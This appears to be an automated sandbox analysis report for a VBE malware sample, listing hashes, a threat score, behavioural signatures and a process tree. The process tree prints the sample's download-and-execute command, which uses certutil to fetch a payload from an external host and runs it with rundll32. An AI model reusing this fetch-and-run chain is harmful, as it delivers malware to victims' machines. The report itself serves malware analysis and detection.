Analysis
- max time kernel
152s - max time network
141s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
10/02/2022, 10:22
Static task
static1
Behavioral task
behavioral1
Sample
Agenzia_30.vbe
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Agenzia_30.vbe
Resource
win10v2004-en-20220113
windows10-2004_x64
0 signatures
0 seconds
General
- Target Agenzia_30.vbe
- Size 246B
- Sample220210-md8ngaggc7
- SHA256 653c934bb9ae7e3feb234fc932f22f8e0f00b14cd0e2c8ab2e79a51e25459150
- MD5 6b54bafffe21e24f0b4f07790fee16a9
- SHA1 3f3f94bab653b519832c45286aa74995c72c2dd8
- SHA512 7565bb8e0baeb3f12d4a10de7b79f51222ea486b6a85c516b7af32f4d409aab75361d28c371f93db62052bb3329fcd23aa145aa6166ffd4f070fce4b7f11fb2f
- MD5 SHA1 SHA512
Score
7/10
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation WScript.exe - Drops file in Windows directory 8 IoCs
description ioc Process File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File opened for modification C:\Windows\Logs\CBS\CBS.log TiWorker.exe File opened for modification C:\Windows\WinSxS\pending.xml TiWorker.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 792 svchost.exe Token: SeCreatePagefilePrivilege 792 svchost.exe Token: SeShutdownPrivilege 792 svchost.exe Token: SeCreatePagefilePrivilege 792 svchost.exe Token: SeShutdownPrivilege 792 svchost.exe Token: SeCreatePagefilePrivilege 792 svchost.exe Token: SeSecurityPrivilege 4768 TiWorker.exe Token: SeRestorePrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe Token: SeRestorePrivilege 4768 TiWorker.exe Token: SeSecurityPrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe Token: SeRestorePrivilege 4768 TiWorker.exe Token: SeSecurityPrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe Token: SeRestorePrivilege 4768 TiWorker.exe Token: SeSecurityPrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe Token: SeRestorePrivilege 4768 TiWorker.exe Token: SeSecurityPrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe Token: SeRestorePrivilege 4768 TiWorker.exe Token: SeSecurityPrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe Token: SeRestorePrivilege 4768 TiWorker.exe Token: SeSecurityPrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe Token: SeRestorePrivilege 4768 TiWorker.exe Token: SeSecurityPrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe Token: SeRestorePrivilege 4768 TiWorker.exe Token: SeSecurityPrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe Token: SeRestorePrivilege 4768 TiWorker.exe Token: SeSecurityPrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe Token: SeRestorePrivilege 4768 TiWorker.exe Token: SeSecurityPrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe Token: SeRestorePrivilege 4768 TiWorker.exe Token: SeSecurityPrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe Token: SeRestorePrivilege 4768 TiWorker.exe Token: SeSecurityPrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe Token: SeRestorePrivilege 4768 TiWorker.exe Token: SeSecurityPrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe Token: SeRestorePrivilege 4768 TiWorker.exe Token: SeSecurityPrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe Token: SeRestorePrivilege 4768 TiWorker.exe Token: SeSecurityPrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe Token: SeRestorePrivilege 4768 TiWorker.exe Token: SeSecurityPrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe Token: SeRestorePrivilege 4768 TiWorker.exe Token: SeSecurityPrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe Token: SeRestorePrivilege 4768 TiWorker.exe Token: SeSecurityPrivilege 4768 TiWorker.exe Token: SeBackupPrivilege 4768 TiWorker.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4700 wrote to memory of 1540 4700 WScript.exe 82 PID 4700 wrote to memory of 1540 4700 WScript.exe 82 PID 1540 wrote to memory of 4560 1540 cmd.exe 84 PID 1540 wrote to memory of 4560 1540 cmd.exe 84 PID 1540 wrote to memory of 4344 1540 cmd.exe 85 PID 1540 wrote to memory of 4344 1540 cmd.exe 85
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Agenzia_30.vbe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4700 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c certutil -urlcache -split -f https://interlinx.top/image.txt C:\Users\Admin\AppData\Local\Temp\\image.txt && timeout 8 & rundll32 C:\Users\Admin\AppData\Local\Temp\\image.txt, DllRegisterServer2⤵
- Suspicious use of WriteProcessMemory
PID:1540 -
C:\Windows\system32\certutil.execertutil -urlcache -split -f https://interlinx.top/image.txt C:\Users\Admin\AppData\Local\Temp\\image.txt3⤵PID:4560
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C:\Windows\system32\rundll32.exerundll32 C:\Users\Admin\AppData\Local\Temp\\image.txt, DllRegisterServer3⤵PID:4344
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:792
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4768